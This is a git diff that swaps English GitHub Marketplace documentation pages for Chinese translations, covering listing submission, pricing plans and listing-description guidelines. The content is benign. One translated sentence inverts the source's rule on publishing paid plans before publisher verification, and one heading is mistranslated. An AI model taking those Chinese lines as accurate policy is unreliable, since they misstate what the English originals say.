+创建 {% data variables.product.prodname_marketplace %} 上架信息草稿后，您可以随时回来修改上架信息。 如果您的应用程序已获批准并且在 {% data variables.product.prodname_marketplace %} 中，您可以编辑上架产品的信息和图像，但无法更改现有的已发布定价计划。 请参阅“[设置 {% data variables.product.prodname_marketplace %} 上架产品的定价计划](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)”。
 
-## Submitting your app
+## 提交应用程序
 
-Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process.
+完成 {% data variables.product.prodname_marketplace %} 上架信息后，您可以在 **Overview（概览）**页面中提交您的上架信息以供审查。 您需要阅读并接收“[{% data variables.product.prodname_marketplace %} 开发者协议](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)”，然后才可以单击 **Submit for review（提交审查）**。 提交应用程序以供审查后，上架专家将与您联系，提供有关上架流程的其他信息。
 
-## Removing a {% data variables.product.prodname_marketplace %} listing
+## 删除 {% data variables.product.prodname_marketplace %} 上架信息
 
-If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing.
+如果您不想再在 {% data variables.product.prodname_marketplace %} 中上架应用程序，请联系 {% data variables.contact.contact_support %} 删除您的上架信息。
diff --git a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
index c587c34a71..839c049e53 100644
--- a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
+++ b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Listing an app on GitHub Marketplace
-intro: 'Learn about requirements and best practices for listing your app on {% data variables.product.prodname_marketplace %}.'
+title: 在 GitHub Marketplace 中上架应用程序
+intro: '了解在 {% data variables.product.prodname_marketplace %} 中上架应用程序的要求和最佳实践。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace
@@ -21,6 +21,6 @@ children:
   - /setting-pricing-plans-for-your-listing
   - /configuring-a-webhook-to-notify-you-of-plan-changes
   - /submitting-your-listing-for-publication
-shortTitle: List an app on the Marketplace
+shortTitle: 在 Marketplace 中上架应用程序
 ---
 
diff --git a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
index ffdba1e720..a215beffd5 100644
--- a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
+++ b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
@@ -1,6 +1,6 @@
 ---
-title: Setting pricing plans for your listing
-intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.'
+title: 为上架产品设置定价计划
+intro: '在 {% data variables.product.prodname_marketplace %} 中上架应用程序时，您可以选择免费提供或有偿出售您的应用程序。 如果打算出售应用程序，您可以为不同的功能等级创建不同的定价计划。'
 redirect_from:
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
   - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
@@ -19,69 +19,70 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Set listing pricing plans
+shortTitle: 设置上市定价计划
 ---
-## About setting pricing plans
 
-{% data variables.product.prodname_marketplace %} offers several different types of pricing plans. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)."
+## 关于设置定价计划
 
-To offer a paid plan for your app, your app must be owned by an organization that has completed the publisher verification process and met certain criteria. For more information, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" and "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)."
+{% data variables.product.prodname_marketplace %} 提供几种不同类型的定价计划。 更多信息请参阅“[{% data variables.product.prodname_marketplace %} 的定价计划](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)”。
 
-If your app is already published with a paid plan and you're a verified publisher, then you can publish a new paid plan from the "Edit a pricing plan" page in your Marketplace app listing settings. 
+要为应用程序提供付费计划，该应用程序必须由已完成发布者验证流程并满足特定条件的组织所拥有。 更多信息请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”和“[在 {% data variables.product.prodname_marketplace %} 中上架应用程序的要求](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)”。
 
-![Publish this plan button](/assets/images/marketplace/publish-this-plan-button.png)
+如果含有付费计划的应用程序已发布，并且您是经验证的发布者，则您可以在 Marketplace 应用程序上架设置中的“Edit a pricing plan（编辑定价计划）”页面发布新的付费计划。
 
-If your app is already published with a paid plan and but you are not a verified publisher, then you can cannot publish a new paid plan until you are a verified publisher. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+![发布此计划按钮](/assets/images/marketplace/publish-this-plan-button.png)
 
-## About saving pricing plans
+如果您的应用已经在付费计划中发布，但您不是验证的发布者，则您可以发布新的付费计划，直到您成为验证的发布者。 有关成为验证的发布者的更多信息，请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”。
 
-You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans.
+## 关于保存定价计划
 
-For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)."
+您可以将定价计划保存为草稿或已发布状态。 如果尚未提交 {% data variables.product.prodname_marketplace %} 上架信息以供审批，则已发布的计划与计划草案的运作方式相同，直到您的上架信息得到批准并显示在 {% data variables.product.prodname_marketplace %} 上。 计划草案允许您创建和保存新的定价计划，而无需在您的 {% data variables.product.prodname_marketplace %} 上架页面上提供它们。 一旦您在已发布的上架信息中发布定价计划，它就可以立即供客户购买。 您最多可以发布 10 个定价计划。
 
-## Creating pricing plans
+有关向客户计费的指南，请参阅“[向客户计费](/developers/github-marketplace/billing-customers)”。
 
-To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)."
+## 创建定价计划
 
-When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan:
+要为 {% data variables.product.prodname_marketplace %} 上架信息创建定价计划，请在 [{% data variables.product.prodname_marketplace %} 上架页面](https://github.com/marketplace/manage)的左边栏中单击 **Plans and pricing（计划和定价）**。 更多信息请参阅“[创建 {% data variables.product.prodname_marketplace %} 上架信息草稿](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)”。
 
-- **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like.
+单击 **New draft plan（新建计划草稿）**时，您将会看到一个用于自定义定价计划的表单。 您需要配置以下字段以创建定价计划：
 
-- **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans:
+- **Plan name（计划名称）** - 定价计划的名称将显示在 {% data variables.product.prodname_marketplace %} 应用程序的登录页面上。 您可以自定义定价计划的名称，使其与计划的资源、将使用该计划的公司规模或任何您想要的内容保持一致。
 
-  - You must set a price for both monthly and yearly subscriptions in US dollars.
-  - Your app must process plan change events.
-  - You must request verification to publish a listing with a paid plan.
+- **Pricing models（定价模式）** - 有三种类型的定价计划：免费、统一定价和每单位定价。 所有计划都要求通过 Marketplace API 处理新购买和取消事件。 此外，对于付费计划：
+
+  - 您必须以美元设置每月和每年订阅价格。
+  - 您的应用程序必须处理计划更改事件。
+  - 您必须请求验证才能发布包含付费计划的上架产品。
   - {% data reusables.marketplace.marketplace-pricing-free-trials %}
 
-  For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+  更多信息请参阅“[{% data variables.product.prodname_marketplace %} 应用程序的定价计划](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)”和“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。
 
-- **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account.
+- **Available for（适用对象）** - {% data variables.product.prodname_marketplace %} 定价计划可以适用于 **Personal and organization accounts（个人和组织帐户）**、**Personal accounts only（仅个人帐户）**或 **Organization accounts only（仅组织帐户）**。 例如，如果您的定价计划为每单位定价并提供多个席位，则您将选择 **Organization accounts only（仅组织帐户）**，因为无法从个人帐户为组织中的人员分配席位。
 
-- **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes.
+- **Short description（简要说明）** - 编写有关定价计划细节的简短摘要。 说明可包括计划的目标客户类型或所包含的资源。
 
-- **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan.
+- **Bullets（项目符号）** - 您最多可以编写四个项目符号，其中包括有关定价计划的更多细节。 项目符号可包括应用程序的用例，或列出有关计划中包含的资源或功能的更多详细信息。
 
 {% data reusables.marketplace.free-plan-note %}
 
-## Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan
+## 创建 {% data variables.product.prodname_marketplace %} 上架产品的定价计划
 
-If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.
+如果不再需要 {% data variables.product.prodname_marketplace %} 上架产品的定价计划，或者需要调整定价细节，您可以删除它。
 
-![Button to remove your pricing plan](/assets/images/marketplace/marketplace_remove_this_plan.png)
+![删除定价计划的按钮](/assets/images/marketplace/marketplace_remove_this_plan.png)
 
-Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)."
+为 {% data variables.product.prodname_marketplace %} 中已上架的应用程序发布定价计划后，就无法对该计划进行更改。 您需要删除该定价计划，然后创建一个新计划。 已经购买已删除定价计划的客户将继续使用它，直到他们选择退出并转到新的定价计划。 有关定价计划的更多信息，请参阅“[{% data variables.product.prodname_marketplace %} 定价计划](/marketplace/selling-your-app/github-marketplace-pricing-plans/)”。
 
-Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription.
+您删除定价计划后，用户将无法使用该计划购买您的应用程序。 使用已删除定价计划的现有用户将继续使用该计划，直到他们取消其计划订阅。
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %} can't remove users from a removed pricing plan. You can run a campaign to encourage users to upgrade or downgrade from the removed pricing plan onto a new pricing plan.
+**注：**{% data variables.product.product_name %} 不能从已删除的定价计划中删除用户。 您可以推出一个活动，鼓励用户从已删除的定价计划升级或降级到新的定价计划。
 
 {% endnote %}
 
-You can disable GitHub Marketplace free trials without retiring the pricing plan, but this prevents you from initiating future free trials for that plan. If you choose to disable free trials for a pricing plan, users already signed up can complete their free trial.
+您可以禁用 GitHub Marketplace 免费试用而不撤销定价计划，但这会阻止您在未来为该计划启动免费试用。 如果您选择禁用定价计划的免费试用，则已注册的用户仍可以完成其免费试用。
 
-After retiring a pricing plan, you can create a new pricing plan with the same name as the removed pricing plan. For instance, if you have a "Pro" pricing plan but need to change the flat rate price, you can remove the "Pro" pricing plan and create a new "Pro" pricing plan with an updated price. Users will be able to purchase the new pricing plan immediately.
+撤销定价计划后，您可以创建与已删除的定价计划同名的新定价计划。 例如，如果您有一个 "Pro" 定价计划，但需要更改统一价格，您可以删除该 "Pro" 定价计划，然后使用更新后的价格创建新的 "Pro" 定价计划。 用户将能够立即购买新的定价计划。
 
-If you are not a verified publisher, then you cannot change a pricing plan for your app. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+如果您不是经过验证的发布者，则无法更改应用的定价计划。 有关成为验证的发布者的更多信息，请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”。
diff --git a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
index 0fc3e55f1b..87b9c48809 100644
--- a/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
+++ b/translations/zh-CN/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Writing a listing description for your app
-intro: 'To [list your app](/marketplace/listing-on-github-marketplace/) in the {% data variables.product.prodname_marketplace %}, you''ll need to write descriptions of your app and provide images that follow GitHub''s guidelines.'
+title: 编写应用程序的上架说明
+intro: '要在 {% data variables.product.prodname_marketplace %} 中[上架应用程序](/marketplace/listing-on-github-marketplace/)，您需要根据 GitHub 的指南编写应用程序的说明并提供图像。'
 redirect_from:
   - /apps/marketplace/getting-started-with-github-marketplace-listings/guidelines-for-writing-github-app-descriptions
   - /apps/marketplace/creating-and-submitting-your-app-for-approval/writing-github-app-descriptions
@@ -16,181 +16,183 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Write listing descriptions
+shortTitle: 写入列表说明
 ---
-Here are guidelines about the fields you'll need to fill out in the **Listing description** section of your draft listing.
 
-## Naming and links
+以下是有关您在上架信息草稿的 **Listing description（上架说明）**部分中需要填写字段的指南。
 
-### Listing name
+## 命名和链接
 
-Your listing's name will appear on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace). The name is limited to 255 characters and can be different from your app's name. Your listing cannot have the same name as an existing account on {% data variables.product.product_location %}, unless the name is your own user or organization name. 
+### 上架产品名称
 
-### Very short description
+列表的名称将显示在 [{% data variables.product.prodname_marketplace %} 主页](https://github.com/marketplace)上。 名称仅限于 255 个字符，可能与应用名称不同。 您的列表不能与 {% data variables.product.product_location %} 上现有的帐户同名，除非该名称是您自己的用户或组织名称。
 
-The community will see the "very short" description under your app's name on the [{% data variables.product.prodname_marketplace %} homepage](https://github.com/marketplace).
+### 简短说明
 
-![{% data variables.product.prodname_marketplace %} app short description](/assets/images/marketplace/marketplace_short_description.png)
+在 [{% data variables.product.prodname_marketplace %} 主页](https://github.com/marketplace)上，社区将会看到应用程序名称下面“非常简短”的说明。
 
-#### Length
+![{% data variables.product.prodname_marketplace %} 应用程序简短说明](/assets/images/marketplace/marketplace_short_description.png)
 
-We recommend keeping short descriptions to 40-80 characters. Although you are allowed to use more characters, concise descriptions are easier for customers to read and understand quickly.
+#### 长度
 
-#### Content
+我们建议将简短说明控制在 40-80 个字符。 尽管可以使用更多字符，但简洁的描述使客户更容易快速阅读和理解。
 
-- Describe the app’s functionality. Don't use this space for a call to action. For example:
+#### 内容
 
-  **DO:** Lightweight project management for GitHub issues
+- 介绍应用程序的功能。 不要在此空间使用呼吁用语。 例如：
 
-  **DON'T:** Manage your projects and issues on GitHub
+  **宜：**GitHub 议题的轻量级项目管理
 
-  **Tip:** Add an "s" to the end of the verb in a call to action to turn it into an acceptable description: _Manages your projects and issues on GitHub_
+  **不宜：**Manage your projects and issues on GitHub（在 GitHub 上管理项目和议题）
 
-- Don’t repeat the app’s name in the description.
+  **提示：**在呼吁用语中动词的末尾加上 "s" 可转变为可接受的说明：_Manages your projects and issues on GitHub_
 
-  **DO:** A container-native continuous integration tool
+- 不要在说明中重复应用程序的名称。
 
-  **DON'T:** Skycap is a container-native continuous integration tool
+  **宜：**容器原生持续集成工具
 
-#### Formatting
+  **不宜：**Skycap 是一个容器原生持续集成工具
 
-- Always use sentence-case capitalization. Only capitalize the first letter and proper nouns.
+#### 格式
 
-- Don't use punctuation at the end of your short description. Short descriptions should not include complete sentences, and definitely should not include more than one sentence.
+- 始终使用句子大小写规则。 只大写第一个字母和专有名词。
 
-- Only capitalize proper nouns. For example:
+- 在简短说明的末尾不要使用标点符号。 简短说明不应包含完整的句子，并且绝对不能包含一个以上的句子。
 
-  **DO:** One-click delivery automation for web developers
+- 仅大写专有名词。 例如：
 
-  **DON'T:** One-click delivery automation for Web Developers
+  **宜：**One-click delivery automation for web developers
 
-- Always use a [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  **不宜：**One-click delivery automation for Web Developers
 
-- Avoid referring to the GitHub community as "users."
+- 在列表中始终使用[连续逗号](https://en.wikipedia.org/wiki/Serial_comma)。
 
-  **DO:** Create issues automatically for people in your organization
+- 避免将 GitHub 社区称为“用户”。
 
-  **DON'T:** Create issues automatically for an organization's users
+  **宜：**为组织中的人员自动创建议题
 
-- Avoid acronyms unless they’re well established (such as API). For example:
+  **不宜：**为组织的用户自动创建议题
 
-  **DO:** Agile task boards, estimates, and reports without leaving GitHub
+- 避免使用首字母缩写词，除非是约定俗成的缩写（如 API）。 例如：
 
-  **DON'T:** Agile task boards, estimates, and reports without leaving GitHub’s UI
+  **宜：**Agile task boards, estimates, and reports without leaving GitHub
 
-### Categories
+  **不宜：** Agile task boards, estimates, and reports without leaving GitHub’s UI
 
-Apps in {% data variables.product.prodname_marketplace %} can be displayed by category. Select the category that best describes the main functionality of your app in the **Primary category** dropdown, and optionally select a **Secondary category** that fits your app.
+### 分类
 
-### Supported languages
+{% data variables.product.prodname_marketplace %} 中的应用程序可以按类别显示。 在 **Primary category（主要类别）**下拉列表中选择最适合描述应用程序主要功能的类别，（可选）然后选择适合应用程序的 **Secondary category（次要类别）**。
 
-If your app only works with specific languages, select up to 10 programming languages that your app supports. These languages are displayed on your app's {% data variables.product.prodname_marketplace %} listing page. This field is optional.
+### 支持的语言
 
-### Listing URLs
+如果您的应用程序仅适用于特定语言，请选择它支持的最多 10 种编程语言。 这些语言显示在应用程序的 {% data variables.product.prodname_marketplace %} 上架信息页面上。 此字段是可选的。
 
-**Required URLs**
-* **Customer support URL:** The URL of a web page that your customers will go to when they have technical support, product, or account inquiries.
-* **Privacy policy URL:** The web page that displays your app's privacy policy.
-* **Installation URL:** This field is shown for OAuth Apps only. (GitHub Apps don't use this URL because they use the optional Setup URL from the GitHub App's settings page instead.) When a customer purchases your OAuth App, GitHub will redirect customers to the installation URL after they install the app. You will need to redirect customers to `https://github.com/login/oauth/authorize` to begin the OAuth authorization flow. See "[New purchases for OAuth Apps](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for more details. Skip this field if you're listing a GitHub App.
+### 上架信息中的 URL
 
-**Optional URLs**
-* **Company URL:** A link to your company's website.
-* **Status URL:** A link to a web page that displays the status of your app. Status pages can include current and historical incident reports, web application uptime status, and scheduled maintenance.
-* **Documentation URL:** A link to documentation that teaches customers how to use your app.
+**必需的 URL**
+* **Customer support URL（客户支持 URL）：**客户寻求技术支持、产品或帐户查询时前往的网页 URL。
+* **Privacy policy URL（隐私政策 URL）：**显示应用程序隐私政策的网页。
+* **Installation URL（安装 URL）：**此字段仅对 OAuth 应用程序显示。 （GitHub 应用程序不使用此 URL，因为它们使用 GitHub 应用程序设置页面中可选的设置 URL。） 当客户购买您的 OAuth 应用程序时，GitHub 将在客户安装应用程序后将其重定向到安装 URL。 您需要将客户重定向到 `https://github.com/login/oauth/authorize` 以开始 OAuth 授权流程。 更多信息请参阅“[新购买 OAuth 应用程序](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)”。 如果您要上架 GitHub 应用程序，请跳过此字段。
 
-## Logo and feature card
+**可选的 URL**
+* **Company URL（公司 URL）：**指向公司网站的链接。
+* **Status URL（状态 URL）：**显示应用程序状态的网页链接。 状态页面可以包括当前和历史事件报告、Web 应用程序正常运行时间状态以及预定维护。
+* **Documentation URL（文档 URL）：**指导客户如何使用应用程序的文档链接。
 
-{% data variables.product.prodname_marketplace %} displays all listings with a square logo image inside a circular badge to visually distinguish apps.
+## 徽标和特征卡
 
-![GitHub Marketplace logo and badge images](/assets/images/marketplace/marketplace-logo-and-badge.png)
+{% data variables.product.prodname_marketplace %} 使用圆形徽章内的方形徽标图像显示所有上架产品，以便从视觉上区分应用程序。
 
-A feature card consists of your app's logo, name, and a custom background image that captures your brand personality. {% data variables.product.prodname_marketplace %} displays this card if your app is one of the four randomly featured apps at the top of the [homepage](https://github.com/marketplace). Each app's very short description is displayed below its feature card.
+![GitHub Marketplace 徽标和徽章图像](/assets/images/marketplace/marketplace-logo-and-badge.png)
 
-![Feature card](/assets/images/marketplace/marketplace_feature_card.png)
+特征卡由应用程序的徽标、名称和自定义背景图像组成，可体现您的品牌个性。 如果您的应用程序是[主页](https://github.com/marketplace)顶部的四个随机精选应用程序之一，{% data variables.product.prodname_marketplace %} 将显示此卡。 每个应用程序的简短说明显示在其特征卡的下方。
 
-As you upload images and select colors, your {% data variables.product.prodname_marketplace %} draft listing will display a preview of your logo and feature card.
+![特征卡](/assets/images/marketplace/marketplace_feature_card.png)
 
-#### Guidelines for logos
+当您上传图像和选择颜色时，{% data variables.product.prodname_marketplace %} 上架草稿将显示徽标和特征卡的预览。
 
-You must upload a custom image for the logo. For the badge, choose a background color.
+#### 徽标指南
 
-- Upload a logo image that is at least 200 pixels x 200 pixels so your logo won't have to be upscaled when your listing is published.
-- Logos will be cropped to a square. We recommend uploading a square image file with your logo in the center.
-- For best results, upload a logo image with a transparent background.
-- To give the appearance of a seamless badge, choose a badge background color that matches the background color (or transparency) of your logo image.
-- Avoid using logo images with words or text in them. Logos with text do not scale well on small screens.
+您必须上传徽标的自定义图像。 对于徽章，请选择背景颜色。
 
-#### Guidelines for feature cards
+- 上传至少为 200 像素 x 200 像素的徽标图像，这样在发布上架信息时就不必放大徽标。
+- 徽标将被裁剪为正方形。 建议上传徽标居中的正方形图像文件。
+- 为获得最佳效果，请上传透明背景的徽标图像。
+- 要显示无缝徽章的外观，请选择与徽标图像的背景颜色（或透明度）匹配的徽章背景颜色。
+- 避免使用带有文字的徽标图像。 带有文字的徽标在小屏幕上缩放效果不佳。
 
-You must upload a custom background image for the feature card. For the app's name, choose a text color.
+#### 特征卡指南
 
-- Use a pattern or texture in your background image to give your card a visual identity and help it stand out against the dark background of the {% data variables.product.prodname_marketplace %} homepage. Feature cards should capture your app's brand personality.
-- Background image measures 965 pixels x 482 pixels (width x height).
-- Choose a text color for your app's name that shows up clearly over the background image.
+您必须上传特征卡的自定义背景图像。 对于应用程序的名称，请选择文本颜色。
 
-## Listing details
+- 在背景图像中使用图案或纹理赋予卡片视觉特征，使其在 {% data variables.product.prodname_marketplace %} 主页的深色背景下引人注目。 特征卡应体现应用程序的品牌个性。
+- 背景图像尺寸为 965 像素 x 482 像素（宽 x 高）。
+- 为应用程序的名称选择文本颜色，使其清晰地显示在背景图像上。
 
-To get to your app's landing page, click your app's name from the {% data variables.product.prodname_marketplace %} homepage or category page. The landing page displays a longer description of the app, which includes two parts: an "Introductory description" and a "Detailed description."
+## 上架详细信息
 
-Your "Introductory description" is displayed at the top of your app's {% data variables.product.prodname_marketplace %} landing page.
+要获取应用程序的登录页面，请在 {% data variables.product.prodname_marketplace %} 主页或类别页面上单击应用程序的名称。 登录页面显示应用程序的较长说明，包括两个部分：“Introductory description（简介）”和“Detailed description（详细说明）”。
 
-![{% data variables.product.prodname_marketplace %} introductory description](/assets/images/marketplace/marketplace_intro_description.png)
+“Introductory description（简介）”显示在应用程序 {% data variables.product.prodname_marketplace %} 登录页面的顶部。
 
-Clicking **Read more...**, displays the "Detailed description."
+![{% data variables.product.prodname_marketplace %} 简介](/assets/images/marketplace/marketplace_intro_description.png)
 
-![{% data variables.product.prodname_marketplace %} detailed description](/assets/images/marketplace/marketplace_detailed_description.png)
+单击 **Read more（阅读更多）...**，显示“Detailed description（详细说明）”。
 
-Follow these guidelines for writing these descriptions.
+![{% data variables.product.prodname_marketplace %} 详细说明](/assets/images/marketplace/marketplace_detailed_description.png)
 
-### Length
+请遵循以下指南编写这些说明。
 
-We recommend writing a 1-2 sentence high-level summary between 150-250 characters in the required "Introductory description" field when [listing your app](/marketplace/listing-on-github-marketplace/). Although you are allowed to use more characters, concise summaries are easier for customers to read and understand quickly.
+### 长度
 
-You can add more information in the optional "Detailed description" field. You see this description when you click **Read more...** below the introductory description on your app's landing page. A detailed description consists of 3-5 [value propositions](https://en.wikipedia.org/wiki/Value_proposition), with 1-2 sentences describing each one. You can use up to 1,000 characters for this description.
+我们建议您[上架应用程序](/marketplace/listing-on-github-marketplace/)时，在必填字段“Introductory description（简介）”中写 1-2 句高度概述的说明，长度控制在 150-250 个字符。 尽管可以使用更多字符，但简洁的概述使客户更容易快速阅读和理解。
 
-### Content
+您可以在可选的“Detailed description（详细说明）”字段中添加更多信息。 在应用程序登录页面中“Introductory description（简介）”的下方单击 **Read more（阅读更多）...** 将会看到此说明。 详细说明包括 3-5 个[价值主张](https://en.wikipedia.org/wiki/Value_proposition)，每个价值主张用 1-2 个句子阐明。 此说明最多可以使用 1,000 个字符。
 
-- Always begin introductory descriptions with your app's name.
+### 内容
 
-- Always write descriptions and value propositions using the active voice.
+- 始终用应用程序的名称开始简介。
 
-### Formatting
+- 始终用主动语态编写说明和价值主张。
 
-- Always use sentence-case capitalization in value proposition titles. Only capitalize the first letter and proper nouns.
+### 格式
 
-- Use periods in your descriptions. Avoid exclamation marks.
+- 始终在价值主张标题中使用句子大小写规则。 只大写第一个字母和专有名词。
 
-- Don't use punctuation at the end of your value proposition titles. Value proposition titles should not include complete sentences, and should not include more than one sentence.
+- 在说明中使用句点。 避免使用感叹号。
 
-- For each value proposition, include a title followed by a paragraph of description. Format the title as a [level-three header](/articles/basic-writing-and-formatting-syntax/#headings) using Markdown. For example:
+- 在价值主张标题的末尾不要使用标点符号。 价值主张标题不应包含完整的句子，并且不能包含一个以上的句子。
 
-  ### Learn the skills you need
+- 对于每个价值主张，请在其标题后加上一段说明。 使用 Markdown 将标题格式设置为[三级标题](/articles/basic-writing-and-formatting-syntax/#headings)。 例如：
 
-  GitHub Learning Lab can help you learn how to use GitHub, communicate more effectively with Markdown, handle merge conflicts, and more.
 
-- Only capitalize proper nouns.
+  ### 学习所需的技能
 
-- Always use the [serial comma](https://en.wikipedia.org/wiki/Serial_comma) in lists.
+  GitHub Learning Lab 可以帮助您学习如何使用 GitHub、如何使用 Markdown 更有效地沟通以及如何处理合并冲突等。
 
-- Avoid referring to the GitHub community as "users."
+- 仅大写专有名词。
 
-  **DO:** Create issues automatically for people in your organization
+- 在列表中始终使用[连续逗号](https://en.wikipedia.org/wiki/Serial_comma)。
 
-  **DON'T:** Create issues automatically for an organization's users
+- 避免将 GitHub 社区称为“用户”。
 
-- Avoid acronyms unless they’re well established (such as API).
+  **宜：**为组织中的人员自动创建议题
 
-## Product screenshots
+  **不宜：**为组织的用户自动创建议题
 
-You can upload up to five screenshot images of your app to display on your app's landing page. Add an optional caption to each screenshot to provide context. After you upload your screenshots, you can drag them into the order you want them to be displayed on the landing page.
+- 避免使用首字母缩写词，除非是约定俗成的缩写（如 API）。
 
-### Guidelines for screenshots
+## 产品屏幕截图
 
-- Images must be of high resolution (at least 1200px wide).
-- All images must be the same height and width (aspect ratio) to avoid page jumps when people click from one image to the next.
-- Show as much of the user interface as possible so people can see what your app does.
-- When taking screenshots of your app in a browser, only include the content in the display window. Avoid including the address bar, title bar, or toolbar icons, which do not scale well to smaller screen sizes.
-- GitHub displays the screenshots you upload in a box on your app's landing page, so you don't need to add boxes or borders around your screenshots.
-- Captions are most effective when they are short and snappy.
+您可以上传应用程序的最多五张屏幕截图，以显示在应用程序的登录页面上。 向每个屏幕截图添加可选标题以提供上下文。 上传屏幕截图后，您将其拖动到希望它们在登录页面上显示的位置。
 
-![GitHub Marketplace screenshot image](/assets/images/marketplace/marketplace-screenshots.png)
+### 屏幕截图指南
+
+- 图像必须具有高分辨率(至少 1200 像素宽)。
